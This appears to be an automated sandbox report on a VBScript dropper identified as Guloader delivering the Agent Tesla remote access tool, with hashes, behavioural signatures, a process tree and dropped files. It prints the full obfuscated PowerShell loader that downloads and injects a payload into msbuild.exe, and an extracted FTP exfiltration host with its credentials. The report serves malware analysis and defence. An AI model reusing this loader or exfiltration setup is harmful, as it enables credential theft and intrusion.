Analysis
-
max time kernel
143s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20231025-en -
resource tags
arch:x64arch:x86image:win7-20231025-enlocale:en-usos:windows7-x64system -
submitted
05-12-2023 18:13
Static task
static1
Behavioral task
behavioral1
Sample
9421788d5825b5db448507b79370f84e7972a1851fa06730423e0a3176a164c3vbs.vbs
Resource
win7-20231025-en
Behavioral task
behavioral2
Sample
9421788d5825b5db448507b79370f84e7972a1851fa06730423e0a3176a164c3vbs.vbs
Resource
win10v2004-20231130-en
General
-
Target
9421788d5825b5db448507b79370f84e7972a1851fa06730423e0a3176a164c3vbs.vbs
-
Size
54KB
-
MD5
efe89d1da63404c434d56b59b1c3c6bd
-
SHA1
51d3bd2d1bc60a598f6fb26613732d3c3444dd92
-
SHA256
9421788d5825b5db448507b79370f84e7972a1851fa06730423e0a3176a164c3
-
SHA512
bb4e6a91649558d1933039a589a28a80455610b1199d05f3b9b5b15ecd22352fb7df6e91ed579ed0cdce120d157b374062cb755e95674a85fe0db7985a5e7952
-
SSDEEP
768:xrjq4Kw/FiEVWKbkNJFuABuTunNWQwB4JAkIx3TUqtp8s:R+4JdNbkLFuAgiEQw2J5STz2s
Malware Config
Extracted
agenttesla
Protocol: ftp- Host:
ftp://ftp.mcmprint.net - Port:
21 - Username:
[email protected] - Password:
pK@7[r0Y?XFT
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Blocklisted process makes network request 1 IoCs
Processes:
WScript.exeflow pid process 3 2084 WScript.exe -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 13 api.ipify.org 14 api.ipify.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
msbuild.exepid process 2464 msbuild.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exemsbuild.exepid process 320 powershell.exe 2464 msbuild.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 320 set thread context of 2464 320 powershell.exe msbuild.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exemsbuild.exepid process 2516 powershell.exe 320 powershell.exe 2464 msbuild.exe 2464 msbuild.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 320 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exemsbuild.exedescription pid process Token: SeDebugPrivilege 2516 powershell.exe Token: SeDebugPrivilege 320 powershell.exe Token: SeDebugPrivilege 2464 msbuild.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 2084 wrote to memory of 2516 2084 WScript.exe powershell.exe PID 2084 wrote to memory of 2516 2084 WScript.exe powershell.exe PID 2084 wrote to memory of 2516 2084 WScript.exe powershell.exe PID 2516 wrote to memory of 320 2516 powershell.exe powershell.exe PID 2516 wrote to memory of 320 2516 powershell.exe powershell.exe PID 2516 wrote to memory of 320 2516 powershell.exe powershell.exe PID 2516 wrote to memory of 320 2516 powershell.exe powershell.exe PID 320 wrote to memory of 2464 320 powershell.exe msbuild.exe PID 320 wrote to memory of 2464 320 powershell.exe msbuild.exe PID 320 wrote to memory of 2464 320 powershell.exe msbuild.exe PID 320 wrote to memory of 2464 320 powershell.exe msbuild.exe PID 320 wrote to memory of 2464 320 powershell.exe msbuild.exe PID 320 wrote to memory of 2464 320 powershell.exe msbuild.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9421788d5825b5db448507b79370f84e7972a1851fa06730423e0a3176a164c3vbs.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2084 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Protozoacide1759 ($gruyere){$war = $gruyere.Length-1; For ($Hoatzins64=6; $Hoatzins64 -lt $war){$plasmodesma=$plasmodesma+$gruyere.Substring( $Hoatzins64, 1);$Hoatzins64+=7;}$plasmodesma;}$Benumbs=Protozoacide1759 ' AnparhLeptoctSuckertSolgulpAfstte:Friboh/Sensum/ PantetIndflehEnasceeSigneriDybdeslMethadoNoncomvoxaloneSkndsem ThroweConsolpGuddomoOsteecdGcellec ConstaScutels CathatSensic.CinofocprotegoHeines.AviseruUnmeankFejlsg/BusinewCorbevp Drift- ToftliOmbygnnAabnincerhverl Caretu LnmoddOldingeGrossesRegeri/gabioniAftjekmBrreboatrffevgIngsedeRepertsUdearb/ UnabaCDecurreElavstnAquosetBrudefrVapoura Forskl Quinya SkolefMyrciarDenatuiUsaglikUndersa NitronWidowie UnmysrBeaandnAmmutueNoncapsJillie.Ischioh Adulah RandipAfrodi ';$plasmodesma01=Protozoacide1759 'UncirciZofiaseIntervx Besva ';$Pilgrimizes = Protozoacide1759 ' Roman\InexplsBoelinyTritansBaadehwFiskefo Sulphw Outty6seriou4democr\ScholiWDissekiSnurpenDaimyodIttkomoHypothwCirodisUpholdP Lachro rimetwPaskviebajonerHenennSPlayerhFordmme LangelSeveralReveto\Nicysmvoverco1 Kimbe.Skrmfe0absent\AnskuepRefertokonstiwMadnine SelvhrBenzots DijudhLiatrieRingorl UncurlSupped.OverrkeGorhenxLiberaeSoftdr ';& ($plasmodesma01) (Protozoacide1759 ' Sjles$FiskedUSandblnSulphamUnderdanaugahnlagerei AntikaUjaevncMesioca TubbilScript2Custos=Phenox$ PositeAmatrnngraduevMacren:ImudstwIllimii Afkapn StrnidStainai AfnderStraig ') ;& ($plasmodesma01) (Protozoacide1759 'Skoldh$LaerepPSubintiStearnlProsadg FibrirsuspeniSkratgmSanctuiRealskzCordite Grosss Misfo=archeu$ ZoonoURepresn ProofmfljlshaBomuldnHealysiStvninaImmunocChapmaaReflecl Ineme2Jernfi+Potpou$BylivsPKlasesiMadneplAutopsgKlasserUbarmhiPlaylimTotonaiWoolprzFoedere Insuls Passi ') ;. ($plasmodesma01) (Protozoacide1759 'Smergl$forlemTPseudoeBaxresgPrvninnCryogekdeposiaVeritapPlatteaBeboelcSupramiTabbiltGalpeneSlethvtVejrfoeSeparanOmformsDidrac2Friare0Idahoa Outadm=Fremme Ambeer(Fodgng(TollekgUnpligwLambermCunyieiNonmed KlagebwNicoliiDrilsknAngrib3Prgnan2Hadrom_DeaktipAerolorHidingoUnsweec Lavmae ForgrsCyanocsfarrag macul- ForfrFLenche massefPVikarir francoMinimecforjase SynoesLaryngsAfregnISprogldUnobst= Synon$Upward{TankelPaptereIKirtelD Thail}Billho)Modskr.UslingCHyemaloArbejdmZeugmamMisestaAfgiftn TylendWeseexLstatsbiAlischnafskraeBrunjo)sequen Dagle-UdhamrsStinkspFilibulDebutriFsyrlotSalien Minime[Sprgsmc XanthhPhytoca Resupr Indeb]Stoppe3Datida4Samleo ');&($plasmodesma01) (Protozoacide1759 'Ssport$EpochiSSpectrkSisualrChokolustigerp GeochlUdsprneOuzoamr NarronStjsvaeUdspilsWalesb Nonpen=Maetam Barkar$ UnderT Tuumhe SyredgComiconCormelk AvokaaNurlytpRudekua TranscBloknri Cimbrt Eclecemoundut StraaeTranspnApplaussquame2 Teglv0buchar[Thailn$BredspTPlumbueGarantgHygiennbureaukDortyraSparklpEpidera DegagcDeodoriAghasttFratche Rentet diagre FoldtnSoaptasBakkes2Tjekke0Vealsk.Feltnucpotmado CelebuComposnEpipast Refor-Kolleg2 Sydaf] Skovp ');. ($plasmodesma01) (Protozoacide1759 ' uncon$AffilehSymphyyBaadvrdSokmooruintjioAssyresStormraReprodrOssificStokkooTransfc GelpjeTympanlShipmaeAtelie=Smackm( FdrenTDybdepeLedelis SkabatTabtyp-kommisPSyntomaMarekatFerromh Burno Brouhy$GrandiP Hepari BaandlKonstig Predir InddtiDreadnmAntiraiLedemozPoeticeNoteaps Progg)Routin Jamesy-TidiseA Hydron taterdRbdigh Plimso(Alined[InficeISepulcnBilradtMoldedPBanefut BeskfrFertil]Selska:Sports:UndsetsJuratiiStereoztermomeWinche Gudbjr-fdselse OctopqSesqui Depres8Person)Skorpe ') ;if ($hydrosarcocele) {& $Pilgrimizes $Skruplernes;} else {;$plasmodesma00=Protozoacide1759 'MirrorSAllergt ElsdyaparamerDagsprtRaderv- FrisrB CoosoiOrdinatHalmhus DatamT synoerWhiteaaUncoupnDesulps IncurfSanguieSmellsrRampan Cirkus-BevaegSHensetoUnfrinuBasteprAlarmecToothpe Drude Spritk$ HaardBLollanebarbeqnprecluu DactymStaldkb QuichsSwitch unison-unshapD Salame TeledsSecondtForskniRevacanCertifaOvernitTriangiperjuroAmniaanCessio Comman$FdrelaUForbasnUdlserm NavigaAllheanUdmattiDemonsaMinaricPotichaUnperslSpidsn2Minist ';. ($plasmodesma01) (Protozoacide1759 ' Sugge$GlgninUGrundsnHeadstmJargona CyclonDelstaiUdryddaPropaecsystemaPladealRdsels2Territ=Ichneu$Skillie bosonnPostervImpone:Troldea naalepAlimenp SanggdDislodaSybaritAeratia Ferie ') ;& ($plasmodesma01) (Protozoacide1759 'VadskkI Disagm MaskipForejuoLanolirUnsneetSpidsl-FritidMUnchano ZygomdblanksuInfluelPetunieOpfatt CharmeBGraeaeiSpiloptArchimsBirthwTBoligmrneddmpa SofacnKvikkesDivertfPejlsteSelmakrUdokum ') ;$Unmaniacal2=$Unmaniacal2+'\Kredittimernes149.Vid';while (-not $Staalfjederens) {. ($plasmodesma01) (Protozoacide1759 'nummer$FlagstSRetsvitOdelpsaNaesteaSkalaelCuringfCeratij SlodmeTagkondDoctrieLidelsr Spraye airwoneuropas hasti=Justit(StraalTSwipeaeSektensRachistTvinge-AfbetaPMuseumaFinanstPreconhAttrib Dumple$ParagrURebrainMentpimBrevflaPaleodnChartoiDryadeaInnovacJolleramungoolDmpefi2Jambon)Forsor ') ;. ($plasmodesma01) $plasmodesma00;& ($plasmodesma01) (Protozoacide1759 ' CycliSTunfist Brneaa PrintrVinjast Ersta-remissSlibatilsubstaeGenople VindgpTegume Lrerin5Dussel ');}. ($plasmodesma01) (Protozoacide1759 'Bambus$ GaspePAbreacrDuelbcoforhjetEventuoSedimez HypohoRuinataEkspercImpassifortrddSignaleWelshe1Udpump7Snailm5Follik Tubbab= Skval TransiGValdusePalliatSnegle-KontraCSondenoHuishenguerdotFuglereShindln ForldtNonsub Nedsla$JobskaU Kongen PersomRvrenda ErogenZeneloiSpheciaTeakeucErfariaProctolDissim2Kamele ');& ($plasmodesma01) (Protozoacide1759 'Grundl$MumforTSubgrawMousseiReflownNebulobPalmare JiujirLogikarSubscaiTicismeTravhesvgtska Speede=Fdehje Overgr[PrograSFarveayAlkalisUnkenntPenmateUnpendmEvigtg.DimeriCGalehuoDivisinPramblvBorsyreUndenorUngarnt Exper]Sanaip:Synapt: SubglF RaaddrKolporoAdagiom LigenBUdtrykaStnnersForgafeCulver6cotran4SaftfuSRegimetBevillrRylerniBugtenn SermogLgmand(Stoset$TrimniPConducrVendetoTegnfetRorsmaoCoherez hulkoosolderaSkalkecSwunghiBlaamedParrakeSignif1ullman7Overni5Droger)Relati ');. ($plasmodesma01) (Protozoacide1759 'Besgst$ Hexdrp unhumlEnneataEpidias BoomemUngeolo FlyvedAltsaxeMounses NonvomHoloheaPiacul2Materi Punged=kvadra Filmin[elbilsS NgtelySkindfssignalt PeaceeKondemmAkkomo.PlukkeTHalvuledehumixBathsnt Unbar.SpisepE DeodonbruitecUtakneoAktiond WestsiKrakennCheesegStvleh]Sirene:Befurb:StribeAAkupunSKitinsCRakersI filmnILabore.ScouriGVideoaeWomandtwanernSFrenchtStabejrAfgangiAffutanFemtetgoliefy(Ryglns$BerainTSonderwAfstani TilvnnFornyebDiamaneAfnatir KnobbrPreacuiAffyrieSelvklsNotica)Tulare ');. ($plasmodesma01) (Protozoacide1759 'Typolo$RaastoAOratorrGaardsm KirkeaAntifinTurken=Vagant$Daubedpobeylilfyrenda EgyptsDetermmSnegleo HaarbdPrivate SupersSchistmUnsteraDaasel2 Kaver.HeatlisFiskefuKrybekbFosslfsgngerrtTrykimr HemliiProjeknEdgermgTilbje( Amtsk2Bodger9Staalu9Mening5Krumta4Colipu3 Glase, Lrerm2Applik6 River1Herrnh4Graato8Broder)Reutte ');& ($plasmodesma01) $Arman;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2516 -
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Protozoacide1759 ($gruyere){$war = $gruyere.Length-1; For ($Hoatzins64=6; $Hoatzins64 -lt $war){$plasmodesma=$plasmodesma+$gruyere.Substring( $Hoatzins64, 1);$Hoatzins64+=7;}$plasmodesma;}$Benumbs=Protozoacide1759 ' AnparhLeptoctSuckertSolgulpAfstte:Friboh/Sensum/ PantetIndflehEnasceeSigneriDybdeslMethadoNoncomvoxaloneSkndsem ThroweConsolpGuddomoOsteecdGcellec ConstaScutels CathatSensic.CinofocprotegoHeines.AviseruUnmeankFejlsg/BusinewCorbevp Drift- ToftliOmbygnnAabnincerhverl Caretu LnmoddOldingeGrossesRegeri/gabioniAftjekmBrreboatrffevgIngsedeRepertsUdearb/ UnabaCDecurreElavstnAquosetBrudefrVapoura Forskl Quinya SkolefMyrciarDenatuiUsaglikUndersa NitronWidowie UnmysrBeaandnAmmutueNoncapsJillie.Ischioh Adulah RandipAfrodi ';$plasmodesma01=Protozoacide1759 'UncirciZofiaseIntervx Besva ';$Pilgrimizes = Protozoacide1759 ' Roman\InexplsBoelinyTritansBaadehwFiskefo Sulphw Outty6seriou4democr\ScholiWDissekiSnurpenDaimyodIttkomoHypothwCirodisUpholdP Lachro rimetwPaskviebajonerHenennSPlayerhFordmme LangelSeveralReveto\Nicysmvoverco1 Kimbe.Skrmfe0absent\AnskuepRefertokonstiwMadnine SelvhrBenzots DijudhLiatrieRingorl UncurlSupped.OverrkeGorhenxLiberaeSoftdr ';& ($plasmodesma01) (Protozoacide1759 ' Sjles$FiskedUSandblnSulphamUnderdanaugahnlagerei AntikaUjaevncMesioca TubbilScript2Custos=Phenox$ PositeAmatrnngraduevMacren:ImudstwIllimii Afkapn StrnidStainai AfnderStraig ') ;& ($plasmodesma01) (Protozoacide1759 'Skoldh$LaerepPSubintiStearnlProsadg FibrirsuspeniSkratgmSanctuiRealskzCordite Grosss Misfo=archeu$ ZoonoURepresn ProofmfljlshaBomuldnHealysiStvninaImmunocChapmaaReflecl Ineme2Jernfi+Potpou$BylivsPKlasesiMadneplAutopsgKlasserUbarmhiPlaylimTotonaiWoolprzFoedere Insuls Passi ') ;. ($plasmodesma01) (Protozoacide1759 'Smergl$forlemTPseudoeBaxresgPrvninnCryogekdeposiaVeritapPlatteaBeboelcSupramiTabbiltGalpeneSlethvtVejrfoeSeparanOmformsDidrac2Friare0Idahoa Outadm=Fremme Ambeer(Fodgng(TollekgUnpligwLambermCunyieiNonmed KlagebwNicoliiDrilsknAngrib3Prgnan2Hadrom_DeaktipAerolorHidingoUnsweec Lavmae ForgrsCyanocsfarrag macul- ForfrFLenche massefPVikarir francoMinimecforjase SynoesLaryngsAfregnISprogldUnobst= Synon$Upward{TankelPaptereIKirtelD Thail}Billho)Modskr.UslingCHyemaloArbejdmZeugmamMisestaAfgiftn TylendWeseexLstatsbiAlischnafskraeBrunjo)sequen Dagle-UdhamrsStinkspFilibulDebutriFsyrlotSalien Minime[Sprgsmc XanthhPhytoca Resupr Indeb]Stoppe3Datida4Samleo ');&($plasmodesma01) (Protozoacide1759 'Ssport$EpochiSSpectrkSisualrChokolustigerp GeochlUdsprneOuzoamr NarronStjsvaeUdspilsWalesb Nonpen=Maetam Barkar$ UnderT Tuumhe SyredgComiconCormelk AvokaaNurlytpRudekua TranscBloknri Cimbrt Eclecemoundut StraaeTranspnApplaussquame2 Teglv0buchar[Thailn$BredspTPlumbueGarantgHygiennbureaukDortyraSparklpEpidera DegagcDeodoriAghasttFratche Rentet diagre FoldtnSoaptasBakkes2Tjekke0Vealsk.Feltnucpotmado CelebuComposnEpipast Refor-Kolleg2 Sydaf] Skovp ');. ($plasmodesma01) (Protozoacide1759 ' uncon$AffilehSymphyyBaadvrdSokmooruintjioAssyresStormraReprodrOssificStokkooTransfc GelpjeTympanlShipmaeAtelie=Smackm( FdrenTDybdepeLedelis SkabatTabtyp-kommisPSyntomaMarekatFerromh Burno Brouhy$GrandiP Hepari BaandlKonstig Predir InddtiDreadnmAntiraiLedemozPoeticeNoteaps Progg)Routin Jamesy-TidiseA Hydron taterdRbdigh Plimso(Alined[InficeISepulcnBilradtMoldedPBanefut BeskfrFertil]Selska:Sports:UndsetsJuratiiStereoztermomeWinche Gudbjr-fdselse OctopqSesqui Depres8Person)Skorpe ') ;if ($hydrosarcocele) {& $Pilgrimizes $Skruplernes;} else {;$plasmodesma00=Protozoacide1759 'MirrorSAllergt ElsdyaparamerDagsprtRaderv- FrisrB CoosoiOrdinatHalmhus DatamT synoerWhiteaaUncoupnDesulps IncurfSanguieSmellsrRampan Cirkus-BevaegSHensetoUnfrinuBasteprAlarmecToothpe Drude Spritk$ HaardBLollanebarbeqnprecluu DactymStaldkb QuichsSwitch unison-unshapD Salame TeledsSecondtForskniRevacanCertifaOvernitTriangiperjuroAmniaanCessio Comman$FdrelaUForbasnUdlserm NavigaAllheanUdmattiDemonsaMinaricPotichaUnperslSpidsn2Minist ';. ($plasmodesma01) (Protozoacide1759 ' Sugge$GlgninUGrundsnHeadstmJargona CyclonDelstaiUdryddaPropaecsystemaPladealRdsels2Territ=Ichneu$Skillie bosonnPostervImpone:Troldea naalepAlimenp SanggdDislodaSybaritAeratia Ferie ') ;& ($plasmodesma01) (Protozoacide1759 'VadskkI Disagm MaskipForejuoLanolirUnsneetSpidsl-FritidMUnchano ZygomdblanksuInfluelPetunieOpfatt CharmeBGraeaeiSpiloptArchimsBirthwTBoligmrneddmpa SofacnKvikkesDivertfPejlsteSelmakrUdokum ') ;$Unmaniacal2=$Unmaniacal2+'\Kredittimernes149.Vid';while (-not $Staalfjederens) {. ($plasmodesma01) (Protozoacide1759 'nummer$FlagstSRetsvitOdelpsaNaesteaSkalaelCuringfCeratij SlodmeTagkondDoctrieLidelsr Spraye airwoneuropas hasti=Justit(StraalTSwipeaeSektensRachistTvinge-AfbetaPMuseumaFinanstPreconhAttrib Dumple$ParagrURebrainMentpimBrevflaPaleodnChartoiDryadeaInnovacJolleramungoolDmpefi2Jambon)Forsor ') ;. ($plasmodesma01) $plasmodesma00;& ($plasmodesma01) (Protozoacide1759 ' CycliSTunfist Brneaa PrintrVinjast Ersta-remissSlibatilsubstaeGenople VindgpTegume Lrerin5Dussel ');}. ($plasmodesma01) (Protozoacide1759 'Bambus$ GaspePAbreacrDuelbcoforhjetEventuoSedimez HypohoRuinataEkspercImpassifortrddSignaleWelshe1Udpump7Snailm5Follik Tubbab= Skval TransiGValdusePalliatSnegle-KontraCSondenoHuishenguerdotFuglereShindln ForldtNonsub Nedsla$JobskaU Kongen PersomRvrenda ErogenZeneloiSpheciaTeakeucErfariaProctolDissim2Kamele ');& ($plasmodesma01) (Protozoacide1759 'Grundl$MumforTSubgrawMousseiReflownNebulobPalmare JiujirLogikarSubscaiTicismeTravhesvgtska Speede=Fdehje Overgr[PrograSFarveayAlkalisUnkenntPenmateUnpendmEvigtg.DimeriCGalehuoDivisinPramblvBorsyreUndenorUngarnt Exper]Sanaip:Synapt: SubglF RaaddrKolporoAdagiom LigenBUdtrykaStnnersForgafeCulver6cotran4SaftfuSRegimetBevillrRylerniBugtenn SermogLgmand(Stoset$TrimniPConducrVendetoTegnfetRorsmaoCoherez hulkoosolderaSkalkecSwunghiBlaamedParrakeSignif1ullman7Overni5Droger)Relati ');. ($plasmodesma01) (Protozoacide1759 'Besgst$ Hexdrp unhumlEnneataEpidias BoomemUngeolo FlyvedAltsaxeMounses NonvomHoloheaPiacul2Materi Punged=kvadra Filmin[elbilsS NgtelySkindfssignalt PeaceeKondemmAkkomo.PlukkeTHalvuledehumixBathsnt Unbar.SpisepE DeodonbruitecUtakneoAktiond WestsiKrakennCheesegStvleh]Sirene:Befurb:StribeAAkupunSKitinsCRakersI filmnILabore.ScouriGVideoaeWomandtwanernSFrenchtStabejrAfgangiAffutanFemtetgoliefy(Ryglns$BerainTSonderwAfstani TilvnnFornyebDiamaneAfnatir KnobbrPreacuiAffyrieSelvklsNotica)Tulare ');. ($plasmodesma01) (Protozoacide1759 'Typolo$RaastoAOratorrGaardsm KirkeaAntifinTurken=Vagant$Daubedpobeylilfyrenda EgyptsDetermmSnegleo HaarbdPrivate SupersSchistmUnsteraDaasel2 Kaver.HeatlisFiskefuKrybekbFosslfsgngerrtTrykimr HemliiProjeknEdgermgTilbje( Amtsk2Bodger9Staalu9Mening5Krumta4Colipu3 Glase, Lrerm2Applik6 River1Herrnh4Graato8Broder)Reutte ');& ($plasmodesma01) $Arman;}"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:320 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2464
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
65KB
MD5ac05d27423a85adc1622c714f2cb6184
SHA1b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA5126d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
-
Filesize
65KB
MD5ac05d27423a85adc1622c714f2cb6184
SHA1b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA5126d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD51850e5c3e2585fcc073d6c96bd4f0506
SHA104a6c76b572cefa147220f44c9c9b2d2b4601529
SHA256bb8a6160887eb01dca26ea9dd6dd2b973c198b4b2ee3062d9657ccee6389586d
SHA5128d66a0141e7abe7f26f942789c39299fbd5b77e608b64115b2951deb646668cf318f4a9d66c14f62308290e2c405e145a59250915abb8899f43fbe781b094e1c
-
Filesize
61KB
MD5f3441b8572aae8801c04f3060b550443
SHA14ef0a35436125d6821831ef36c28ffaf196cda15
SHA2566720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf
SHA5125ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9
-
Filesize
163KB
MD59441737383d21192400eca82fda910ec
SHA1725e0d606a4fc9ba44aa8ffde65bed15e65367e4
SHA256bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5
SHA5127608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf
-
Filesize
171KB
MD59c0c641c06238516f27941aa1166d427
SHA164cd549fb8cf014fcd9312aa7a5b023847b6c977
SHA2564276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
SHA512936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\T437Z8MHLV9JJ0TRD81J.temp
Filesize7KB
MD54b7f4aeded4b6f829e722b5bfd1e2695
SHA10a9e94af60275094b137ab6deab9b3ad9643b0be
SHA256e0f23dd33ad98cee11628d8de5377281b414ce1958a78ec44720f8416fe8bf2a
SHA51224bde272b37b3d53a122cc6952b9ebf1bd869e7cce3d5edf2b2b646fbdd16820f9b30677f674669b75bed07056d064a01aed0d5e9a412c2c271b053a75b7fc4b